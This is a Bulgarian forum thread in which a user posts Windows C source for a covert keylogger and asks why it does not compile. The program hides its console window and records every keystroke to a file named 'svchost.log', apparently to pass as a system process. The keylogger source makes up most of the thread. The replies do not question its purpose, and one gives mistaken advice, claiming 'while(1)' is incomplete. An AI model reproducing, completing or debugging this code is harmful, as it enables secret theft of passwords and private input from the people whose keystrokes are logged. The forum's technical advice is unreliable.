.
Отговор в тема
Резултати от 1 до 8 от общо 8
  1. #1
    Guest

    Къде е грешката?

    192 реда код писах вчера, извадих си очите.
    Дава грешка някъде , не може да се компилира?
    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>

    #define BUFSIZE 80

    int test_key(void);
    int create_key(char *);
    int get_keys(void);


    int main(void)

    HWND stealth; /*creating stealth (window is not visible)*/

    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);


    int t=get_keys();

    return t;
    }

    int get_keys(void)
    {
    short character;
    while(1)
    {
    Sleep(10);/*to prevent 100% cpu usage*/
    for(character=8;character<=222;character++)
    {
    if(GetAsyncKeyState(character)==-32767)
    {

    FILE *file;
    file=fopen("svchost.log","a+");
    if(file==NULL)
    {
    return 1;
    }
    if(file!=NULL)
    {
    if((character>=39)&&(character<=64))
    {
    fputc(character,file);
    fclose(file);
    break;
    }
    else if((character>64)&&(character<91))
    {
    character+=32;
    fputc(character,file);
    fclose(file);
    break;
    }
    else
    {
    switch(character)
    {
    case VK_SPACE:
    fputc(' ',file);
    fclose(file);
    break;
    case VK_SHIFT:
    fputs("[SHIFT]",file);
    fclose(file);
    break;
    case VK_RETURN:
    fputs("\n[ENTER]",file);
    fclose(file);
    break;
    case VK_BACK:
    fputs("[BACKSPACE]",file);
    fclose(file);
    break;
    case VK_TAB:
    fputs("[TAB]",file);
    fclose(file);
    break;
    case VK_CONTROL:
    fputs("[CTRL]",file);
    fclose(file);
    break;
    case VK_DELETE:
    fputs("[DEL]",file);
    fclose(file);
    break;
    case VK_OEM_1:
    fputs("[;:]",file);
    fclose(file);
    break;
    case VK_OEM_2:
    fputs("[/?]",file);
    fclose(file);
    break;
    case VK_OEM_3:
    fputs("[`~]",file);
    fclose(file);
    break;
    case VK_OEM_4:
    fputs("[ [{ ]",file);
    fclose(file);
    break;
    case VK_OEM_5:
    fputs("[\\|]",file);
    fclose(file);
    break;
    case VK_OEM_6:
    fputs("[ ]} ]",file);
    fclose(file);
    break;
    case VK_OEM_7:
    fputs("['\"]",file);
    fclose(file);
    break;
    /*case VK_OEM_PLUS:
    fputc('+',file);
    fclose(file);
    break;
    case VK_OEM_COMMA:
    fputc(',',file);
    fclose(file);
    break;
    case VK_OEM_MINUS:
    fputc('-',file);
    fclose(file);
    break;
    case VK_OEM_PERIOD:
    fputc('.',file);
    fclose(file);
    break;*/
    case VK_NUMPAD0:
    fputc('0',file);
    fclose(file);
    break;
    case VK_NUMPAD1:
    fputc('1',file);
    fclose(file);
    break;
    case VK_NUMPAD2:
    fputc('2',file);
    fclose(file);
    break;
    case VK_NUMPAD3:
    fputc('3',file);
    fclose(file);
    break;
    case VK_NUMPAD4:
    fputc('4',file);
    fclose(file);
    break;
    case VK_NUMPAD5:
    fputc('5',file);
    fclose(file);
    break;
    case VK_NUMPAD6:
    fputc('6',file);
    fclose(file);
    break;
    case VK_NUMPAD7:
    fputc('7',file);
    fclose(file);
    break;
    case VK_NUMPAD8:
    fputc('8',file);
    fclose(file);
    break;
    case VK_NUMPAD9:
    fputc('9',file);
    fclose(file);
    break;
    case VK_CAPITAL:
    fputs("[CAPS LOCK]",file);
    fclose(file);
    break;
    default:
    fclose(file);
    break;
    }
    }
    }
    }
    }

    }
    return EXIT_SUCCESS;
    }

  2. #2
    Компилаторът ти точно какво съобщение за грешка ти изписва?
    .: Всеки може да ти хване окото, но само специален човек може да хване сърцето ти! :.
    ╰ ☆ ╮Бори се за това, което искаш, за да може един ден да кажеш: ИСКАХ и... ИМАМ!╰ ☆ ╮



  3. #3
    I tfa z akvo e
    www.myschoolbel.info <---- tYk ImA Si4kI TeMI, EseTa, LIS ....

  4. #4
    Когато го пуснеш на компилатора трябва да ти казва ред и място на грешката. Ако е синтактична, ако търсиш логическа грешка която компилатора няма как да избройка ни кажи в какво се изразява грешката за да знаем къде да я търсим в кода.

  5. #5
    Guest
    Цитирай Първоначално написано от alex
    Когато го пуснеш на компилатора трябва да ти казва ред и място на грешката. Ако е синтактична, ако търсиш логическа грешка която компилатора няма как да избройка ни кажи в какво се изразява грешката за да знаем къде да я търсим в кода.
    Уф, бях си написал поста в нотепад и като гледа мен съм хванал цялото >.<
    Дава , че всичко от лине 15-24 е грешно?

  6. #6
    Guest
    Всичките грешки пише "expected "," or ";" before '=' token" ili expected constructor,destructor, or type converstion before '=' token.
    Da fak?
    Proverih go za sintakti4ni i logi4eski grehski i ne namiram takiva?

  7. #7
    Не че съм голям разбирач.. ама това
    while(1)
    около тия грешните редове - според мен е непълно
    Докато какво? ДОкато какво е едно?
    В смисъл нещо си трябва или д а е =, <,> и т.н. на 1.
    Според мен има празнота
    .: Всеки може да ти хване окото, но само специален човек може да хване сърцето ти! :.
    ╰ ☆ ╮Бори се за това, което искаш, за да може един ден да кажеш: ИСКАХ и... ИМАМ!╰ ☆ ╮



  8. #8
    kompa ti e bokluk

    И САМО ЛЕВСКИИ ОБИЧАМ ТЕ АЛЕЕ !

Правила за публикуване

  • Вие не можете да публикувате теми
  • Вие не можете да отговаряте в теми
  • Вие не можете да прикачвате файлове
  • Вие не можете да редактирате мненията си